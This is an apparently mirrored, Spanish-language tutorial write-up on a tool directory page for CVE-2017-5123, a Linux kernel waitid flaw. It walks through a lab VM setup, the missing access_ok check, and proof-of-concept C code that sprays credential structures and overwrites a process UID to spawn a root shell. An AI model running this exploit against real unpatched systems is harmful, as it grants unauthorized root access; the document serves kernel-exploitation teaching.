Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/c3r34lk1ll3r/cve-2017-5123
Escalada de PrivilegiosExplotaciónAprendizaje y EducaciónExplotación de BinariosLabs y Práctica
GitHubc3r34lk1ll3r/cve-2017-5123

CVE-2017-5123

PoC CVE-2017-5123 - LPE - Evadiendo SMEP/SMAP. Sin KASLR

Ver Repositorio
3344hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2017-5123

PoC CVE-2017-5123 - LPE - Bypasando SMEP/SMAP. Sin KASLR

La implementación de waitid en los kernels upstream no restringía el destino objetivo para copiar los resultados de la información. Esto puede permitir a los usuarios locales escribir en memoria del kernel de otro modo protegida, lo que puede conducir a una escalada de privilegios.

Introducción

En este pequeño artículo, analizaré una vulnerabilidad del kernel que nos permite obtener privilegios de root.

Este archivo está dividido en cuatro partes:

  1. Configuración de la VM;
  2. análisis de la vulnerabilidad;
  3. explotación;
  4. PoC.

Quiero señalar que hay muchas mejores formas de explotar este CVE (de hecho, esto es solo un PoC para aprender el kernel, no se puede usar en el mundo real), pero creo que esta metodología puede ser útil como introducción a la explotación del kernel.

Configuración de la VM

Compilación del kernel

Esta vulnerabilidad fue introducida en 4c48abe91be0, por lo que necesitamos compilar esa versión del kernel.

Esto puede ser un poco complicado porque es una versión antigua y el código debe estar parcheado. Hice un repositorio con código de kernel ya parcheado y un archivo .config para que puedas clonar y compilar.

root@kitploit:~
git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse

Ten en cuenta que este kernel se compilará con controladores virtio, por lo que puedes usar disco virtio para compartir archivos desde/hacia la VM.

Configuración del Rootfs

Ahora, crearemos el rootfs inicial:

root@kitploit:~
qemu-img create -f raw hda.raw 10G
# Format the disk to ext4
mkfs.ext4 ./hda.raw 
# Make a mountpoint for the image
mkdir /tmp/mount1
# Mount the disk
sudo mount -o loop ./hda.raw /tmp/mount1

Luego, deberíamos instalar una distribución básica de Linux, por ejemplo usando pacstrap o debootstrap.

root@kitploit:~
sudo pacstrap /tmp/mount1 base base-devel vim

Finalmente, podemos modificar el sistema:

root@kitploit:~
# Add a 'test' user
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# without password
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow 
# we can mount a virtio disk in order to share files between host and guest
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
sudo mkdir -p /tmp/mount1/home/test/shared 
# It is usefull to have sudo permission
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group

sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1

Si todo está en orden, ya podemos probar nuestro sistema de pruebas con qemu:

root@kitploit:~
qemu-system-x86_64 \
    -kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
    -hda ./hda.raw \
    -m 4G \
    -cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
    -smp 4 \
    -vga virtio \
    -enable-kvm \
    -nographic \
    -machine type=q35,accel=kvm \
    -virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
    -append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
    -chardev "vc,id=vc.0,cols=1920,rows=1080" \
    -net "user,hostfwd=tcp::10022-:22" \
    -net "nic" \
    -s

Vulnerabilidad

La descripción del CVE dice que hay una operación de escritura sin restricciones durante la llamada al sistema waitid.

Abramos kernel/exit.c y veamos el código:

root@kitploit:~
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
		infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;
    user_access_begin();
    unsafe_put_user(signo, &infop->si_signo, Efault);
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

Esta función es bastante sencilla: después de algunas comprobaciones, hay varias llamadas a unsafe_put_user(...) y la función retorna.

La parte principal de esta función está compuesta por la función unsafe_put_user(...), así que vayamos allí (arch/x86/include/asm/uaccess.h):

root@kitploit:~
/*
 * The "unsafe" user accesses aren't really "unsafe", but the naming
 * is a big fat warning: you have to not only do the access_ok()
 * checking before using them, but you have to surround them with the
 * user_access_begin/end() pair.
 */
#define user_access_begin()	__uaccess_begin()
#define user_access_end()	__uaccess_end()

#define unsafe_put_user(x, ptr, err_label)					\
do {										\
    int __pu_err;								\
    __typeof__(*(ptr)) __pu_val = (x);					\
    __put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT);	\
    if (unlikely(__pu_err)) goto err_label;					\
} while (0)

#define unsafe_get_user(x, ptr, err_label)					\
do {										\
    int __gu_err;								\  
    __inttype(*(ptr)) __gu_val;						\
    __get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT);	\
    (x) = (__force __typeof__(*(ptr)))__gu_val;				\
    if (unlikely(__gu_err)) goto err_label;					\
} while (0)

Hay una gran advertencia en el comentario: si quieres usar unsafe_put/get_user, primero debes llamar a access_ok() y rodearlos con user_access_begin/end().

Si observamos el código anterior (waitid), podemos ver que access_ok() nunca se llama, por lo que la llamada al sistema viola esta advertencia.

Pero, ¿qué son esas macros?

SMAP/SMEP

SMAP y SMEP son dos características de seguridad introducidas en el kernel para hacer más difícil escribir exploits. Cabe señalar que estas características son aplicadas por la CPU.

SMEP impide ejecutar código de espacio de usuario mientras la CPU está en modo supervisor; SMAP, en cambio, bloquea el acceso de lectura/escritura a la memoria de usuario.

El kernel necesita escribir/leer datos desde/hacia la memoria de usuario y esto se puede lograr de dos maneras:

  1. hay funciones (p. ej., copy_from_user) que permiten copiar la memoria en el espacio del kernel;
  2. deshabilitar temporalmente SMAP

Como podemos ver en la definición de unsafe_put_user, esta función solo copia el valor de x en la memoria apuntada por ptr (y salta a err_label si hubo un error). Acabamos de decir que el kernel no puede acceder al espacio de usuario debido a SMAP, y es por eso que estas funciones deben estar envueltas entre user_access_begin/end().

root@kitploit:~
#define __uaccess_begin() stac()
#define __uaccess_end()   clac()

Como podemos ver, user_access_begin/end simplemente son las instrucciones ASM stac y clac.

  • stac: "Establece el bit de bandera AC en el registro EFLAGS. Esto puede habilitar la comprobación de alineación de los accesos a datos en modo usuario. Esto permite accesos explícitos en modo supervisor a páginas de modo usuario incluso si el bit SMAP está establecido en el registro CR4."
  • clac: "Limpia el bit de bandera AC en el registro EFLAGS. Esto deshabilita cualquier comprobación de alineación de los accesos a datos en modo usuario. Si el bit SMAP está establecido en el registro CR4, esto impide los accesos explícitos en modo supervisor a páginas de modo usuario."

Básicamente, estas dos macros habilitan/deshabilitan SMAP.

Nuestra "advertencia" anterior menciona también la función access_ok:

root@kitploit:~
/**
 * access_ok: - Checks if a user space pointer is valid
 * @type: Type of access: %VERIFY_READ or %VERIFY_WRITE.  Note that
 *        %VERIFY_WRITE is a superset of %VERIFY_READ - if it is safe
 *        to write to a block, it is always safe to read from it.
 * @addr: User space pointer to start of block to check
 * @size: Size of block to check
 *
 * Context: User context only. This function may sleep if pagefaults are
 *          enabled.
 *
 * Checks if a pointer to a block of memory in user space is valid.
 *
 * Returns true (nonzero) if the memory block may be valid, false (zero)
 * if it is definitely invalid.
 *
 * Note that, depending on architecture, this function probably just
 * checks that the pointer is in the user space range - after calling
 * this function, memory access functions may still return -EFAULT.
 */
#define access_ok(type, addr, size)					\
({									\
	WARN_ON_IN_IRQ();						\
	likely(!__range_not_ok(addr, size, user_addr_max()));		\
})

El comentario aquí se explica por sí mismo: esta macro comprueba si el puntero es un puntero de espacio de usuario válido.

Escritura arbitraria

Echemos otro vistazo al código de waitid:

root@kitploit:~
	user_access_begin();
	unsafe_put_user(signo, &infop->si_signo, Efault);
	unsafe_put_user(0, &infop->si_errno, Efault);
	unsafe_put_user(info.cause, &infop->si_code, Efault);
	unsafe_put_user(info.pid, &infop->si_pid, Efault);
	unsafe_put_user(info.uid, &infop->si_uid, Efault);
	unsafe_put_user(info.status, &infop->si_status, Efault);
	user_access_end();

Como ya habrás adivinado, la ausencia de access_ok() conduce a una escritura arbitraria en cualquier lugar de la memoria porque el puntero infop está completamente controlado por el atacante.

Desencadenar el bug

Es muy fácil llegar a la ruta vulnerable y podemos crear un trigger con este simple código:

root@kitploit:~
int thread_ready;
int die_thread(void *arg){
    thread_ready=1;
    syscall(__NR_sched_yield);
    return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
  printf("[0] Trying to overwrite 0x%016lx\r", where);
  //int pid = fork(); // It is also possible to use fork syscall
  thread_ready = 0; 
  int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
  int err;
  while(thread_ready == 0) {syscall(__NR_sched_yield);} // We should wait the thread
  err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);   
  return err;
}

Este simple código desencadenará la vulnerabilidad y escribirá en la memoria apuntada por la dirección where.

Podemos usar gdb si queremos comprobar este trigger. Por ejemplo, podemos seleccionar una dirección arbitraria y usar la función trigger_bug para sobrescribirla.

Explotación

Esta vulnerabilidad se puede explotar de varias maneras, pero prefiero un enfoque muy simple.

Recuerda que podemos escribir donde queramos, pero los datos escritos están parcialmente controlados. Podemos sobrescribir una dirección con 0.

La idea básica es sobrescribir el UID de nuestro proceso y convertirnos en root, pero primero necesitamos entender qué son las credenciales en Linux.

Fork

Empezamos profundizando en la llamada al sistema fork. Esta función se usa para crear nuevos procesos.

Podemos revisar el código en kernel/fork.c:

root@kitploit:~
SYSCALL_DEFINE0(fork)
{
	return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
}

Entonces, la llamada al sistema fork es simplemente un envoltorio para _do_fork con parámetros hardcodeados.

Esta última función es un poco larga, pero podemos resumirla de esta manera:

root@kitploit:~
long _do_fork(unsigned long clone_flags,
	      unsigned long stack_start,
	      unsigned long stack_size,
	      int __user *parent_tidptr,
	      int __user *child_tidptr,
	      unsigned long tls)
{
	struct task_struct *p;
	int trace = 0;
	long nr;
  ......

  // This will create another task struct but it will NOT start the process. 
	p = copy_process(clone_flags, stack_start, stack_size,
			 child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
	add_latent_entropy();
  ......
    // Wake up the new created task. This will set in RUNNING the state of the task and enqueue in the running queue code
		wake_up_new_task(p);
  ......
		put_pid(pid);
	} else {
		nr = PTR_ERR(p);
	}
	return nr;
}

Esta función asignará un nuevo objeto task_struct. Aunque esta estructura es realmente importante (describe un proceso), centraremos nuestra atención en el campo cred:

root@kitploit:~
...
	/* Process credentials: */
	/* Tracer's credentials at attach: */
	const struct cred __rcu		*ptracer_cred;

	/* Objective and real subjective task credentials (COW): */
	const struct cred __rcu		*real_cred;

	/* Effective (overridable) subjective task credentials (COW): */
	const struct cred __rcu		*cred;
  ...

Como podemos ver, hay (tres) punteros a struct cred. Veamos cómo está compuesta esta estructura (include/linux/cred.h):

root@kitploit:~
struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
  ......

Como podemos ver, el UID de un proceso es simplemente un entero sin signo (sigue la definición de kuid_t), por lo que podemos simplemente sobrescribir este valor con 0 para convertirnos en root.

Copy_process

La estructura task_struct se asigna en la función copy_process, que es un poco compleja y cuyo objetivo principal es "copiar" el proceso en uno nuevo.

Podemos centrarnos en copy_creds(p, clone_flags), que se define como:

root@kitploit:~
/*
 * Copy credentials for the new process created by fork()
 *
 * We share if we can, but under some circumstances we have to generate a new
 * set.
 *
 * The new process gets the current process's subjective credentials as its
 * objective and subjective credentials
 */
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
	struct cred *new;
	int ret;

	if (
#ifdef CONFIG_KEYS
		!p->cred->thread_keyring &&
#endif
		clone_flags & CLONE_THREAD
	    ) {
		p->real_cred = get_cred(p->cred);
		get_cred(p->cred);
		alter_cred_subscribers(p->cred, 2);
		kdebug("share_creds(%p{%d,%d})",
		       p->cred, atomic_read(&p->cred->usage),
		       read_cred_subscribers(p->cred));
		atomic_inc(&p->cred->user->processes);
		return 0;
	}

	new = prepare_creds();
	if (!new)
		return -ENOMEM;

	if (clone_flags & CLONE_NEWUSER) {
		ret = create_user_ns(new);
		if (ret < 0)
			goto error_put;
	}

.........

error_put:
	put_cred(new);
	return ret;
}

Como podemos ver, esta función llama a prepare_creds, donde se realiza la asignación real.

Ahora tenemos una vía para asignar un número (pseudo)arbitrario de struct cred:

  1. _do_fork()
  2. copy_process()
  3. copy_creds()

Nuestro último problema es cómo llamar a _do_fork() desde el espacio de usuario. Podemos usar fork, pero esto puede ser lento, así que usaremos clone en su lugar.

Nota: no podemos usar pthread debido a los flags: si miras el código de copy_creds, notarás que hay una ruta donde la estructura no se asigna realmente.

Poniéndolo todo junto

Ahora, un pequeño resumen:

  1. podemos desencadenar el bug y escribir en la memoria
  2. sabemos que podemos escribir 0 en la memoria
  3. sabemos que si sobrescribimos el UID de un proceso con 0, este obtiene permisos de root.

Ahora necesitamos saber dónde escribir en la memoria y, aunque KASLR está deshabilitado, la dirección de un struct cred no es lo suficientemente estable, así que decidí proceder con memory spraying.

Spraying

Necesitamos encontrar el struct cred en memoria para detectar un rango de direcciones. Podemos usar gdb y python con un script como este:

root@kitploit:~
....
for task in task_lists():
    #gdb.write("{address} {pid} {comm}\n".format(
    #    address=task,
    #    pid=task["pid"],
    #    comm=task["comm"].string()))
    comm = task["comm"].string()
    # Insert your executable name
    if comm == "exploit":
        print(task['cred'])
....

Nota: este script solo funciona con KASLR deshabilitado y con símbolos de depuración (necesitamos el puntero init_task). Podemos intentarlo unas cuantas veces y veremos que el heap crece hacia abajo, así que podemos probar con una dirección más baja e ir subiendo.

Ahora podemos usar la llamada al sistema clone para crear muchos procesos y, gracias a gdb, podemos comprobar las direcciones:

root@kitploit:~
stack=malloc(STACK_SIZE)+STACK_SIZE;
  for(x=0;x<MAX_THREADS;x++){
    stackTop = malloc(STACK_SIZE) + STACK_SIZE;
    if (!stackTop){
      perror("[-] Malloc");
      return -1;
    }
    // spray_thread function can simply be a infinite loop
    pid = clone(spray_thread, stackTop, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
    if (pid == -1){
      perror("\n\nCLONE");
      return -1;
    }
    printf("[0] Process created: %d\r", x);
    }

Nota: Puede que no puedas crear más de 4k procesos. Revisa los ulimits si ese es el caso.

PoC

Finalmente, podemos escribir nuestro PoC.

Es suficiente con llamar a trigger_bug con diferentes direcciones (buscando la estructura) mientras nuestro hilo creado comprueba su UID, de esta manera:

root@kitploit:~
struct shared_area{
  int one_win;
};
struct shared_area glob_var;

// Sprayed thread
int spray_thread(void *arg){
  int uid;
  int previous_one = syscall(__NR_getuid);
  // Loop over syscall getUID
  while(1){
    uid = syscall(__NR_getuid);
    //printf("UID: %d\n",uid);
    // If returned UID is different from the previous one, then we have hitted a struct cred area
    if (uid != previous_one){
      printf("WIN!! with %d", uid);
      // Kill other treads in order to stabilize the system
      glob_var.one_win = 1;
      // Simply spawn a shell
      system("/bin/sh");
    }
    if(glob_var.one_win == 1)
      return 1;
  }
  return 0;
}

Hay una probabilidad del 50% de acertar con la estructura, así que después de unas pocas ejecuciones puedes obtener privilegios de root.

Root

Conclusión

Este es un PoC (básico) y el spraying está lejos de ser perfecto. Esto es solo una "introducción" al asombroso mundo del kernel; hay muchos conceptos que he omitido, pero son extremadamente importantes (como la gestión de memoria). Si quieres estudiar más a fondo, puedes echar un vistazo a prepare_creds y a las asignaciones de memoria.

KASLR está deshabilitado, pero esta vulnerabilidad también permite evadir esa mitigación (unsafe_put_user no falla con una dirección inválida), pero no creo que añadir una nueva "capa" de fuerza bruta sea útil si tu objetivo es aprender el kernel. Si tu objetivo es usar esta vulnerabilidad en el mundo real, deberías escribir un exploit diferente (al menos, un spraying diferente).

Para reflexionar: usé esta vulnerabilidad para entender y probar la técnica ret2dir (Pista: puedes desencadenar la escritura en la dirección alias y leer la modificación con la dirección de espacio de usuario).

Referencias

  • https://salls.github.io/Linux-Kernel-CVE-2017-5123/
  • https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html
Descargar herramienta